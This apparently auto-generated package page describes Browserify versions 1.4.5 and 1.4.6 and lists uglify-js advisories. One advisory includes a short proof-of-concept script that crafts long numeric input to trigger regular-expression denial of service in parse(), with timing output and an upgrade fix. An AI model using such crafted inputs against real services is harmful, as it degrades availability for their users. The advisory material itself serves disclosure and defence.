Browserify is a powerful tool that lets you use Node.js-style require() statements in your browser-side JavaScript code. These two versions, 1.4.5 and 1.4.6, offer a similar core functionality: enabling you to organize your client-side code into modules and manage dependencies just like you would in a Node.js environment. Both versions boast identical dependency and devDependency lists, including essential packages like optimist for command-line argument parsing, resolve for module resolution, and coffee-script for those working with CoffeeScript.
Looking at the release dates, version 1.4.6 was released just a day after 1.4.5. While the core functionality remains the same, this quick release suggests the 1.4.6 incorporated minor bug fixes or very specific improvements rather than a substantial overhaul. Developers already using Browserify will find the upgrade straightforward as it likely involves minimal code changes. For those new to Browserify, either version provides a solid foundation for modular JavaScript development and dependency management in the browser.
Furthermore, the devDependencies entries in both versions are important for developers who want to contribute to or extend Browserify, providing the necessary tools for testing (like expresso and jsdom), interacting with DOM elements (jquery-browserify), and more. Consider checking the changelog history in Browserify's repository for more information on what the newer version has improved regarding performance or stability.
All the vulnerabilities related to the version 1.4.6 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.